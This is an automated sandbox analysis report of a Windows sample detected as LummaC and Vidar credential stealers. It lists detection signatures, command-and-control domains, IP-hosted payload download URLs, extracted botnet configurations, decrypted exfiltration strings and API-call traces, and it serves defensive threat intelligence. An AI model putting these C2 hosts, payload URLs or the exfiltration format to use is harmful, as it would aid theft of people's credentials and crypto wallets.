Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1518461
MD5: 77011ba24d1088a963898abc72c6e129
SHA1: 08a84da40cb625471026568b2399538399b44f98
SHA256: 3b914f143432c17ca607ba232ba0122f78096dc04dd7ce3d297ed0036f3b1545
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Vidar
Yara detected Vidar stealer
.NET source code contains very large array initializations
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to detect sandboxes (mouse cursor move detection)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://steamcommunity.com/profiles/76561199724331900 URL Reputation: Label: malware
Source: reinforcenh.shop Avira URL Cloud: Label: malware
Source: https://fragnantbui.shop/apie Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exem-data; Avira URL Cloud: Label: malware
Source: stogeneratmns.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199780418869/badges Avira URL Cloud: Label: malware
Source: https://performenj.shop:443/apirofiles/76561199724331900 Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api Avira URL Cloud: Label: malware
Source: ghostreedmnu.shop Avira URL Cloud: Label: malware
Source: https://performenj.shop/api2 Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe1kkkk1207369http://147.45.44.104/prog/66f4247d5181 Avira URL Cloud: Label: malware
Source: https://performenj.shop/apipi Avira URL Cloud: Label: malware
Source: https://t.me/ae5ed Avira URL Cloud: Label: malware
Source: https://performenj.shop/ Avira URL Cloud: Label: malware
Source: https://reinforcenh.shop/api. Avira URL Cloud: Label: malware
Source: https://vozmeatillu.shop/api Avira URL Cloud: Label: malware
Source: fragnantbui.shop Avira URL Cloud: Label: malware
Source: offensivedzvju.shop Avira URL Cloud: Label: malware
Source: https://offensivedzvju.shop/api Avira URL Cloud: Label: malware
Source: drawzhotdog.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeI Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe Avira URL Cloud: Label: malware
Source: https://performenj.shop/piz Avira URL Cloud: Label: malware
Source: vozmeatillu.shop Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66f424e80b9cc_idsmds.exeG Avira URL Cloud: Label: malware
Source: https://drawzhotdog.shop/api Avira URL Cloud: Label: malware
Source: https://gutterydhowi.shop/api Avira URL Cloud: Label: malware
Found malware configuration
Source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "58cd250b15e666e5f72fcf5caa6cb131"}
Source: 15.2.RegAsm.exe.400000.0.unpack Malware Configuration Extractor: LummaC {"C2 url": ["gutterydhowi.shop", "drawzhotdog.shop", "ghostreedmnu.shop", "vozmeatillu.shop", "stogeneratmns.shop", "offensivedzvju.shop", "fragnantbui.shop", "reinforcenh.shop"], "Build id": "H8NgCl--"}
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 34%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\66f424e80b9cc_idsmds[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Joe Sandbox ML: detected
Source: C:\ProgramData\AFIDGDBGCA.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: reinforcenh.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: stogeneratmns.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: fragnantbui.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: drawzhotdog.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: vozmeatillu.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: offensivedzvju.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: ghostreedmnu.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: gutterydhowi.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: drawzhotdog.shop
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: lid=%s&j=%s&ver=4.0
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: TeslaBrowser/5.5
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: - Screen Resoluton:
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: - Physical Installed Memory:
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: Workgroup: -
Source: 15.2.RegAsm.exe.400000.0.unpack String decryptor: H8NgCl--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree, 3_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree, 3_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA, 3_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA, 3_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C0A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 3_2_6C0A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1FA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util, 3_2_6C1FA9A0
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.211.162:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.132.32:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.108:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.208.139:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: file.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: freebl3.pdb source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source: Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: System.Core.pdbP source: WER1AF4.tmp.dmp.19.dr
Source: Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: System.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.pdbN|2h|2 Z|2_CorDllMainmscoree.dll source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: soft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb@ source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: RegAsm.exe, 00000003.00000002.3269805633.000000003A911000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.3.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: RegAsm.exe, 00000003.00000002.3244466284.000000002EA31000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.3.dr
Source: Binary string: mscorlib.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr
Source: Binary string: \mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbL0 source: WER430E.tmp.dmp.23.dr
Source: Binary string: System.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: ws\mscorlib.pdb source: MFDBG.exe, 00000015.00000002.3294025471.0000000000CF8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: freebl3.pdbp source: RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.3.dr
Source: Binary string: mscorlib.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: \System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.0000000000897000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb^ source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: MFDBG.exe, 00000010.00000002.3375081818.00000000008D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.Core.pdb source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: System.pdb4 source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbp source: MFDBG.exe, 00000015.00000002.3336912129.0000000000F09000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr
Source: Binary string: orlib.pdbE source: MFDBG.exe, 00000015.00000002.3336912129.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.3194681556.00000000224A8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: softokn3.pdb source: RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr
Source: Binary string: System.Core.pdbk source: MFDBG.exe, 00000010.00000002.3395983106.0000000002261000.00000004.00000800.00020000.00000000.sdmp, MFDBG.exe, 00000015.00000002.3351512853.0000000002A41000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Source: Binary string: ws\mscorlib.pdb]q source: MFDBG.exe, 00000010.00000002.3333482247.00000000004F8000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: System.Core.ni.pdbRSDS source: WER430E.tmp.dmp.23.dr, WER1AF4.tmp.dmp.19.dr
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Directory queried: number of queries: 1001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415406 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00414C91 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,strtok_s,FindNextFileA,FindClose, 3_2_00414C91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose, 3_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose, 3_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA, 3_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415F9A wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose, 3_2_00415F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose, 3_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00415AD4 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA, 3_2_00415AD4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose, 3_2_0040CD37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041510B GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA, 3_2_0041510B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr fs:[00000030h] 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [ebp-04h], eax 3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+24h] 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 15_2_0040F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [ebp-1Ch] 15_2_0040E9C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov dword ptr [esp], 00000000h 15_2_0041A040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edi+edx] 15_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp] 15_2_00443010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, ebp 15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, ebp 15_2_0040A0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edx], cl 15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+0Ch] 15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 15_2_00431167
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+44h] 15_2_0041D1CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 54CA534Eh 15_2_004472C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 15_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 15_2_004153E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 15_2_0043A3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], al 15_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edx], al 15_2_004313A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh 15_2_00443460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp eax 15_2_0042D46E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+08h] 15_2_0041447C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ecx, word ptr [edi+eax] 15_2_004474C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h 15_2_0042D4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 15_2_0042F530
